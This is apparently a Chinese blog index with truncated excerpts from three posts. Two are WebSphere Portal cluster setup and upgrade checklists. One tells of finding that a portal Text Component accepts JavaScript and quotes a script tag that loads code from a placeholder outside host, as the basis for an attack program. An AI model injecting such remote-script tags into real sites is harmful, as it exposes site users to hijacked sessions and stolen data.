笨得很想飞的专栏

在测试过程中发现了一个问题，在Text Component中允许添加javascript代码段。感觉这是一个漏洞所在，自己试了试，居然可以填写跨域请求JS脚本的JS声明，例如<script language=javascript src=http://xxx.yyy.zzz/dd.js />于是利用这个特性编写一个攻击程序。程序大体是这样的：将一段javascript代码放在服务器A...

写在搭建之前 limations检查列表 You must install and configure WebSphere Portal separately on each node. Except for the temporary state during the initial setup of the cluster, WebSphere Portal is not supporte...

我的升级计划 1、注意检查ulimit命令2、把主节点和副节点的portal都先升级到6013、Installing WebSphere Application Server Network Deployment on the deployment manager machine4、Installing WebSphere Portal on an unmanaged node (primary)...